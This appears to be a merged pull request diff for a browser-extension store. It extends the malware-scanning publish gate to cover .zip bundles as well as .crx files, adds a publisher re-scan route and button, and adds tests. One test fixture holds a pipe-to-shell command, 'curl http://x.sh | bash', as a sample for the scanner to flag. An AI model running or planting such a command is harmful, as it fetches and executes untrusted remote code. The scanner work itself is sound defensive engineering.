Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions apps/extensions/public/store.js
Original file line number Diff line number Diff line change
Expand Up @@ -265,6 +265,7 @@ async function renderDetail(slug, root) {
<a class="btn secondary" href="/store/install-guide.html">How to install</a>
<button class="btn ghost" id="flagBtn">⚑ Report</button>
${ext.isOwner ? '<button class="btn secondary" id="editBtn">✎ Edit listing</button>' : ''}
${ext.isOwner ? '<button class="btn ghost" id="rescanBtn">🛡 Re-scan</button>' : ''}
</div>
${ext.isOwner ? editForm(ext) : ''}
${ext.homepageUrl ? `<p class="hint">Homepage: <a href="${esc(ext.homepageUrl)}" rel="noopener noreferrer">${esc(ext.homepageUrl)}</a></p>` : ''}
Expand All @@ -285,6 +286,22 @@ async function renderDetail(slug, root) {
});

wireEditForm(ext, () => renderDetail(slug, root));

// Scans are recorded at publish time, so a listing published before its
// bundle could be scanned needs one re-run to earn a badge.
document.getElementById('rescanBtn')?.addEventListener('click', async (e) => {
const btn = e.currentTarget;
btn.disabled = true;
btn.textContent = '🛡 Scanning…';
try {
await api(`/extensions/${encodeURIComponent(ext.id)}/rescan`, { method: 'POST' });
await renderDetail(slug, root);
} catch (err) {
alert('Could not scan: ' + err.message);
btn.disabled = false;
btn.textContent = '🛡 Re-scan';
}
});
}
}

Expand Down
31 changes: 25 additions & 6 deletions services/api/src/store/crx.ts
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,22 @@ export function crxToZip(buf: Uint8Array): Uint8Array {
throw new Error(`unsupported CRX version ${version}`);
}

/**
* Extract the ZIP payload from whichever artifact a publisher shipped.
*
* A .crx is a header wrapped around a ZIP, and most publishers upload the bare
* .zip instead. Insisting on the CRX header meant zip-only listings skipped the
* scanner entirely and sat on an "unscanned" badge forever.
*/
export function artifactToZip(buf: Uint8Array): Uint8Array {
if (buf.length >= 4 && strFromU8(buf.slice(0, 4)) === CRX_MAGIC) return crxToZip(buf);
// Local file header ("PK\x03\x04") — or an empty archive ("PK\x05\x06").
if (buf.length >= 4 && buf[0] === 0x50 && buf[1] === 0x4b && (buf[2] === 0x03 || buf[2] === 0x05)) {
return buf;
}
throw new Error('not a .crx or .zip bundle');
}

function iconToDataUri(path: string, bytes: Uint8Array): string | null {
if (!bytes || bytes.length === 0 || bytes.length > MAX_ICON_BYTES) return null;
const ext = path.toLowerCase().split('.').pop() || '';
Expand Down Expand Up @@ -108,25 +124,28 @@ export function extractListingFromCrx(buf: Uint8Array): IngestedListing {
}

/** Download a .crx over http(s) with guards. */
export async function fetchCrx(url: string, maxBytes = 25 * 1024 * 1024): Promise<Uint8Array> {
export async function fetchArtifact(url: string, maxBytes = 25 * 1024 * 1024): Promise<Uint8Array> {
let u: URL;
try {
u = new URL(url);
} catch {
throw new Error('crxUrl must be a valid URL');
throw new Error('bundle URL must be a valid URL');
}
if (u.protocol !== 'https:' && u.protocol !== 'http:') {
throw new Error('crxUrl must be http(s)');
throw new Error('bundle URL must be http(s)');
}
const res = await fetch(u, { redirect: 'follow' });
if (!res.ok) throw new Error(`could not fetch crx (${res.status})`);
if (!res.ok) throw new Error(`could not fetch bundle (${res.status})`);
const len = Number(res.headers.get('content-length') || 0);
if (len && len > maxBytes) throw new Error('crx is too large');
if (len && len > maxBytes) throw new Error('bundle is too large');
const buf = new Uint8Array(await res.arrayBuffer());
if (buf.length > maxBytes) throw new Error('crx is too large');
if (buf.length > maxBytes) throw new Error('bundle is too large');
return buf;
}

/** @deprecated use {@link fetchArtifact} — same fetch, .crx-flavoured name. */
export const fetchCrx = fetchArtifact;

/** Download a .crx and extract its listing. */
export async function ingestCrxUrl(url: string): Promise<IngestedListing> {
return extractListingFromCrx(await fetchCrx(url));
Expand Down
72 changes: 55 additions & 17 deletions services/api/src/store/routes.ts
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,8 @@ import {
} from './payments.js';
import { enqueueScan } from './vu1nz.js';
import { mirrorListing } from './mirror.js';
import { fetchCrx, extractListingFromCrx } from './crx.js';
import { scanCrx } from './scanner.js';
import { fetchArtifact, extractListingFromCrx } from './crx.js';
import { scanArtifact, type ExtensionScanResult } from './scanner.js';
import { createScan, updateScan } from './db.js';

const APP_URL = process.env.APP_URL || 'https://tronbrowser.dev';
Expand Down Expand Up @@ -85,6 +85,17 @@ async function listingView(ext: any, viewer?: User | null) {
};
}

/** Write a scan verdict to the badge store. Shared by publish and rescan. */
async function persistScan(extensionId: string, versionId: string, result: ExtensionScanResult): Promise<void> {
const scanId = await createScan(extensionId, versionId);
await updateScan(scanId, {
status: 'done',
score: result.green ? 100 : 40,
severity: result.status === 'malicious' ? 'critical' : result.status === 'suspicious' ? 'high' : 'clean',
findingsJson: JSON.stringify(result.findings),
});
}

export const store = new Hono();

store.get('/healthz', (c) => c.json({ ok: true, service: 'store' }));
Expand Down Expand Up @@ -142,6 +153,33 @@ store.patch('/extensions/:id', async (c) => {
return c.json({ ok: true, listing: await listingView(updated) });
});

/* ---------- publisher: re-scan the current version ----------
A scan verdict is written at publish time, so a listing published while the
scanner was unavailable (or before zip bundles were scannable) keeps showing
"unscanned" until its next release. This re-runs the scan against the
artifact already on file — no re-upload, no version bump. */
store.post('/extensions/:id/rescan', async (c) => {
const user = await currentUser(c);
if (!user) return c.json({ error: 'unauthorized' }, 401);
const ext = await extensionById(c.req.param('id'));
if (!ext) return c.json({ error: 'not found' }, 404);
if (ext.owner_user_id !== user.id) return c.json({ error: 'forbidden' }, 403);

const ver = await latestVersion(ext.id);
if (!ver) return c.json({ error: 'no published version to scan' }, 404);
const target = ver.crx_url || ver.bundle_url;
if (!target) return c.json({ error: 'version has no downloadable artifact' }, 400);

try {
const buf = await fetchArtifact(target);
const result = scanArtifact(buf, ver.permissions_json ? JSON.parse(ver.permissions_json) : []);
await persistScan(ext.id, ver.id, result);
return c.json({ ok: true, scan: result });
} catch (e: any) {
return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422);
}
});

/* ---------- publisher: create draft ---------- */
store.post('/extensions', async (c) => {
const user = await currentUser(c);
Expand Down Expand Up @@ -176,9 +214,9 @@ store.post('/extensions/ingest', async (c) => {
const crxUrl = String(body.crxUrl || '').trim();
if (!crxUrl) return c.json({ error: 'crxUrl required' }, 400);
try {
const buf = await fetchCrx(crxUrl);
const buf = await fetchArtifact(crxUrl);
const listing = extractListingFromCrx(buf);
const scan = scanCrx(buf, listing.permissions);
const scan = scanArtifact(buf, listing.permissions);
return c.json({ ok: true, listing, scan });
} catch (e: any) {
return c.json({ error: e?.message || 'could not ingest .crx' }, 422);
Expand Down Expand Up @@ -340,13 +378,18 @@ store.post('/extensions/:id/versions', async (c) => {
// If we can fetch a .crx, scan its code + permissions and BLOCK the submit
// on any critical finding (green light required to publish). Zip-only
// bundles fall back to the async (non-gating) vu1nz scan.
let scanResult: Awaited<ReturnType<typeof scanCrx>> | null = null;
if (crxUrl) {
// A .crx is just a header around a ZIP, so scan whichever artifact exists.
// Gating only on .crx meant every zip-only listing skipped the scanner and
// fell through to the async path — which records 'skipped' when no external
// scanner is configured, leaving the listing permanently "unscanned".
const scanTarget = crxUrl || bundleUrl;
let scanResult: ExtensionScanResult | null = null;
if (scanTarget) {
try {
const buf = await fetchCrx(crxUrl);
scanResult = scanCrx(buf, v.permissions);
const buf = await fetchArtifact(scanTarget);
scanResult = scanArtifact(buf, v.permissions);
} catch (e: any) {
return c.json({ error: `could not scan .crx: ${e?.message || e}` }, 422);
return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422);
}
if (!scanResult.green) {
return c.json({
Expand All @@ -372,15 +415,10 @@ store.post('/extensions/:id/versions', async (c) => {

if (scanResult) {
// Persist the gating scan result for the store badge.
const scanId = await createScan(ext.id, version.id);
await updateScan(scanId, {
status: 'done',
score: scanResult.green ? 100 : 40,
severity: scanResult.status === 'malicious' ? 'critical' : scanResult.status === 'suspicious' ? 'high' : 'clean',
findingsJson: JSON.stringify(scanResult.findings),
});
await persistScan(ext.id, version.id, scanResult);
} else {
// Zip-only: fall back to the async (non-gating) vu1nz scan.
// No fetchable artifact at all — fall back to the async vu1nz scan, which
// records 'skipped' when no external scanner is configured.
await enqueueScan(ext.id, version);
}

Expand Down
45 changes: 43 additions & 2 deletions services/api/src/store/scanner.test.ts
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
import { describe, it, expect } from 'vitest';
import { strToU8 } from 'fflate';
import { scanFiles, scanPermissions } from './scanner.js';
import { strToU8, zipSync } from 'fflate';
import { scanFiles, scanPermissions, scanArtifact } from './scanner.js';

describe('extension scanner (publish gate)', () => {
it('is green for a normal extension (fetch/base64/crypto are fine)', () => {
Expand Down Expand Up @@ -41,3 +41,44 @@ describe('extension scanner (publish gate)', () => {
expect(f.some((x) => x.rule === 'perm-cookies')).toBe(true);
});
});

describe('scanArtifact — .zip as well as .crx', () => {
const bundle = () => zipSync({
'manifest.json': strToU8(JSON.stringify({ manifest_version: 3, name: 'x', version: '1.0.0' })),
'background.js': strToU8('const x = await fetch(url);'),
});

it('scans a bare .zip bundle — the artifact most publishers actually upload', () => {
const r = scanArtifact(bundle(), ['storage']);
expect(r.green).toBe(true);
expect(r.status).toBe('clean');
expect(r.fileHash).toHaveLength(64);
});

it('still scans a .crx, and reaches the same verdict as its inner zip', () => {
const zip = bundle();
// CRX3: magic + version + headerLen + header, then the zip.
const header = new Uint8Array(8);
const crx = new Uint8Array(12 + header.length + zip.length);
crx.set(strToU8('Cr24'), 0);
new DataView(crx.buffer).setUint32(4, 3, true);
new DataView(crx.buffer).setUint32(8, header.length, true);
crx.set(header, 12);
crx.set(zip, 12 + header.length);

const fromCrx = scanArtifact(crx, ['storage']);
expect(fromCrx.green).toBe(true);
expect(fromCrx.findings).toEqual(scanArtifact(zip, ['storage']).findings);
});

it('flags a critical finding inside a plain zip, so the gate can block it', () => {
const evil = zipSync({ 'evil.js': strToU8('curl http://x.sh | bash') });
const r = scanArtifact(evil);
expect(r.green).toBe(false);
expect(r.findings.some((f) => f.rule === 'pipe-to-shell')).toBe(true);
});

it('rejects bytes that are neither .crx nor .zip', () => {
expect(() => scanArtifact(strToU8('not an archive'))).toThrow(/not a \.crx or \.zip/);
});
});
13 changes: 9 additions & 4 deletions services/api/src/store/scanner.ts
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
// green (publishable) iff there are no critical findings.
import { createHash } from 'node:crypto';
import { unzipSync, strFromU8 } from 'fflate';
import { crxToZip } from './crx.js';
import { artifactToZip } from './crx.js';

export type Severity = 'low' | 'medium' | 'high' | 'critical';
export type ScanStatus = 'clean' | 'suspicious' | 'malicious';
Expand Down Expand Up @@ -112,12 +112,17 @@ function summarize(findings: ScanFinding[]): Omit<ExtensionScanResult, 'fileHash
};
}

/** Scan a full .crx buffer: unzip, scan code + permissions, verdict. */
export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
/** Scan a published bundle — a .crx or a bare .zip: unzip, scan code + permissions, verdict. */
export function scanArtifact(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
const fileHash = createHash('sha256').update(buf).digest('hex');
const files = unzipSync(crxToZip(buf), { filter: (f) => !f.name.endsWith('/') });
const files = unzipSync(artifactToZip(buf), { filter: (f) => !f.name.endsWith('/') });
const base = scanFiles(files);
const permFindings = scanPermissions(permissions);
const merged = [...base.findings, ...permFindings];
return { ...summarize(merged), fileHash };
}

/** @deprecated use {@link scanArtifact} — kept so .crx callers read naturally. */
export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
return scanArtifact(buf, permissions);
}
Loading